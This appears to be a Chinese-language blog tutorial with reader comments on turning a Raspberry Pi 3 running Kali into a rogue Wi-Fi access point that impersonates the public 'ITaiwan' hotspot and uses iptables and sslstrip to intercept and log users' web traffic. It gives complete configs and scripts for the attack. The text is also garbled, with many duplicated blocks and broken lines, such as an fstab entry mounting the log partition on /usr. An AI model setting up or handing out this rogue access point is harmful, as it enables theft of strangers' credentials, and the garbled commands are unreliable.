相較於其他版本的樹莓派,Pi3已內建 Wi-Fi ,不用額外購買 Wi-Fi網卡,使得硬體需求更加簡潔。建立惡意基地臺的步驟如下:
一、建立Kali系統
(一)除了一片Pi3的主機板外,當然還需要一片 micro SD,建立選擇 16GB的容量。
(二)利用目前使用的Kali環境下載 Pi3 的Kali 映象檔。
wget -c https://images.offensive-security.com/arm-images/kali-2.1.2-rpi2.img.xz
xz -d kali-2.1.2-rpi2.img.xz #解壓縮後得到 kali-2.1.2-rpi2.img
xz -d kali-2.1.2-rpi2.img.xz #解壓縮後得到 kali-2.1.2-rpi2.img
(三)將 Kali 映象檔燒錄至 micro SD 中。
dd if=kali-2.1.2-rpi2.img of=/dev/sdb bs=512k
(四)將micro SD插入 Pi3,並連接鍵盤、滑鼠及螢幕後,啟動 Pi3。
(五)如果順利,應該會進行 Kali 的圖形登入畫面,帳號/密碼為:root / toor
二、基本環境設定
原始的Kali環境並不符合需要,略做調整如下:
(一)移除 apache2 (因為不需拿它做網站,故移除)
apt-get remove --purge apache2
(二)移除圖形介面(XWindow) (我的功能單純,不需圖形介面,故移除)
apt-get remove --purge x11-common
(三)在 /etc/apt/sources.list 中加入三組套件來源
deb http://http.kali.org/kali kali-dev main contrib non-free
deb http://http.kali.org/kali kali-dev main/debian-installer
deb-src http://http.kali.org/kali kali-dev main contrib non-free
deb http://http.kali.org/kali kali-dev main/debian-installer
deb-src http://http.kali.org/kali kali-dev main contrib non-free
(四)重新開機,開機後會進入文字模式 (因已移除 XWindow) ,帳號/密碼依然是:root / toor
(五)重整套件快取及進行升級
apt-get update
apt-get upgrade
apt-get upgrade
(六)安裝所需的套件
apt-get install locate # 檔案搜尋工具
apt-get install dnsmasq # dns 及 dhcp 工具
apt-get install hostapd # wi-fi AP 服務
apt-get install sslstrip # 中間人攻擊
apt-get install dnsmasq # dns 及 dhcp 工具
apt-get install hostapd # wi-fi AP 服務
apt-get install sslstrip # 中間人攻擊
三、設定基地臺
(一) 編輯 /etc/network/interface
auto lo
iface lo inet loopback
auto eth0
iface eth0 inet dhcp
auto wlan0
iface wlan0 inet static
address 192.168.200.1
netmask 255.255.255.0
pop-up /etc/init.d/dnsmasq start
pop-down /etc/init.d/dnsmasq stop
iface lo inet loopback
auto eth0
iface eth0 inet dhcp
auto wlan0
iface wlan0 inet static
address 192.168.200.1
netmask 255.255.255.0
pop-up /etc/init.d/dnsmasq start
pop-down /etc/init.d/dnsmasq stop
(二)編輯 /etc/dnsmasq.conf
log-facility=/var/log/dnsmasq.log
resolv-file=/etc/dnsmasq.resolv.conf
server=8.8.8.8
server=8.8.4.4
server=168.95.192.1
cache-size=2000
listen-address=192.168.200.1 # 由 wlan0 提供 dhcp 服務給上線的使用者
interface = wlan0
dhcp-range=wlan0,192.168.200.100,192.168.200.200,12h # dhcp spool
dhcp-option=wlan0,1,255.255.255.0 # netmask
dhcp-option=wlan0,3,192.168.200.1 # default gateway
dhcp-option=wlan0,28,192.168.6.255 #broadcast
log-queries
log-dhcp
resolv-file=/etc/dnsmasq.resolv.conf
server=8.8.8.8
server=8.8.4.4
server=168.95.192.1
cache-size=2000
listen-address=192.168.200.1 # 由 wlan0 提供 dhcp 服務給上線的使用者
interface = wlan0
dhcp-range=wlan0,192.168.200.100,192.168.200.200,12h # dhcp spool
dhcp-option=wlan0,1,255.255.255.0 # netmask
dhcp-option=wlan0,3,192.168.200.1 # default gateway
dhcp-option=wlan0,28,192.168.6.255 #broadcast
log-queries
log-dhcp
(三)編輯 /etc/dnsmasq.resolv.conf
nameserver 8.8.8.8
nameserver 8.8.4.4
nameserver 168.95.192.1
nameserver 8.8.4.4
nameserver 168.95.192.1
(四)編輯 /etc/hostapd/hostapd.conf
interface=wlan0
driver=nl80211
ssid=ITaiwan
channel=7
hw_mode=g
wpa=0
auth_algs=1
# 如果需要密碼可以加設
# wpa_passphrase=你要指定的密碼
# wpa_key_mgmt=WPA-PSK
# wpa_pairwise=TKIP CCMP
driver=nl80211
ssid=ITaiwan
channel=7
hw_mode=g
wpa=0
auth_algs=1
# 如果需要密碼可以加設
# wpa_passphrase=你要指定的密碼
# wpa_key_mgmt=WPA-PSK
# wpa_pairwise=TKIP CCMP
(五)測試 /etc/dnsmasq.conf 及 /etc/hostapd/hostapd.conf,如果輸出的訊息中有任何 Error 都要修正。
dnsmasq -C /etc/dnsmasq.conf --test
hostapd -dd /etc/hostapd/hostapd.conf
hostapd -dd /etc/hostapd/hostapd.conf
四、設定 iptables
iptables -t nat -F
iptables -t nat -A POSTROUTING -o ppp0 -j MASQUERADE
iptables -A FORWARD -i wlan0 -o ppp0 -j ACCEPT
iptables-save
iptables -t nat -A POSTROUTING -o ppp0 -j MASQUERADE
iptables -A FORWARD -i wlan0 -o ppp0 -j ACCEPT
iptables-save
五、建立執行腳本 (直接建在根目錄)
(一)建立 start_ap 腳本
#!/bin/ bash
/etc/init.d/networking start
ifconfig wlan0 up
if [ ! -z $1 ];then
sed -i "s#^ssid=.*# ssid=$1*" /etc/hostapd/hostapd.conf
fi
echo '1' > /proc/sys/net/ipv4/ip_forward #啟動封包轉送功能
dnsmasq stop
dnsmasq -C /etc/dnsmasq.conf
hostapd /etc/hostapd/hostapd.conf
/etc/init.d/networking start
ifconfig wlan0 up
if [ ! -z $1 ];then
sed -i "s#^ssid=.*# ssid=$1*" /etc/hostapd/hostapd.conf
fi
echo '1' > /proc/sys/net/ipv4/ip_forward #啟動封包轉送功能
dnsmasq stop
dnsmasq -C /etc/dnsmasq.conf
hostapd /etc/hostapd/hostapd.conf
(二)建立 ap_iptables 腳本
#!/bin/ bash
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 10000
sslstrip -l 10000 -w /tmp/sslstrip.log # 接收端口 10000, 寫到 /tmp/sslstrip.log 中,注意:只要重新開機,/tmp/sslstrip.log 就會消失,如果要永久儲存,請選擇其它目錄
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 10000
sslstrip -l 10000 -w /tmp/sslstrip.log # 接收端口 10000, 寫到 /tmp/sslstrip.log 中,注意:只要重新開機,/tmp/sslstrip.log 就會消失,如果要永久儲存,請選擇其它目錄
(三)將腳本設為可執行
chmod +x start_ap
chmod +x ap_iptables
chmod +x ap_iptables
六、啟動基地臺
(一)請重新開機,然後:
1. 在 terminal 1 執行 /start_ap,如果要指定基地臺的 ssid,可加參數成為
/start_ap NewSSID
2. 在 terminal 2 執行 /ap_iptables
(二)如果只執行 /start_ap 就是當成一般基地臺,如果兩者都執行就成為惡意基地臺
(三)可以查看 /tmp/sslstrip.log 的內容,即攔截到的訊息。
到這裡算是完成了,但16GB的micro SD 只用了 8GB,剩下的8GB將做為 sslstrip.log 的儲存區
fdisk /dev/mmcblk0 # mmcblk0 是記憶卡的設備代號
Command (m for help): n # n 表建立新分割區
Partition type
p primary (2 primary, 0 extended, 2 free)
e extended (container for logical partitions)
Select (default p): p # 選擇建立主要分割區
Partition number (3,4, default 3): 3 # 選擇3
First sector (14336000-31116287, default 14336000): (直接按ENTER 即可)
Last sector, +sectors or +size{K,M,G,T,P} (14336000-31116287, default
31116287:(直接按ENTER)
Created a new partition 3 of type 'Linux' and of size 8 GiB.
# 建立成功,分割區容量為 8GB
Command (m for help): n # n 表建立新分割區
Partition type
p primary (2 primary, 0 extended, 2 free)
e extended (container for logical partitions)
Select (default p): p # 選擇建立主要分割區
Partition number (3,4, default 3): 3 # 選擇3
First sector (14336000-31116287, default 14336000): (直接按ENTER 即可)
Last sector, +sectors or +size{K,M,G,T,P} (14336000-31116287, default
31116287:(直接按ENTER)
Created a new partition 3 of type 'Linux' and of size 8 GiB.
# 建立成功,分割區容量為 8GB
重新開機,讓分割區生效
mkfs -t ext4 /dev/mmcblk0p3 #進行格式化
mkdir /ssl_log #建立掛載的目錄
mkdir /ssl_log #建立掛載的目錄
編輯 /etc/fstab ,加入下面這一行,使得開機時自動掛載
/dev/mmcblk0p3 /usr ext4 defaults 0 2
將 ap_iptables 中的 sslstrip -l 10000 -w /tmp/sslstrip.log 改成 sslstrip -l 10000 -w /ssl_log/sslstrip.log
想請教陳老師如何在Pi3 kali開機後自動執行start_ap呢?
回覆刪除我試過修改lightdm-autologin為自動登入,
將start_ap放到init.d,ln 到 rcS.d,
好像是WiFi Driver還未載入或WiFi相關軟体還沒有驅動引發錯誤。
我還沒試過這種方法,可否讓我研究之後再回答您。
刪除陳老師我是一樓,後來試出來了,在kali裡,start_ap要ln到rc5.d,開機後就會自動執行了,跟你分享~
刪除感謝您的分享,也讓我學到一招,:)
刪除想請問陳老師要如何解決Pi3 kali執行到第三步時,最後一行測試的指令沒有過
回覆刪除他出現Failed to create interface mon.wlan0: -95 (Operation not supported)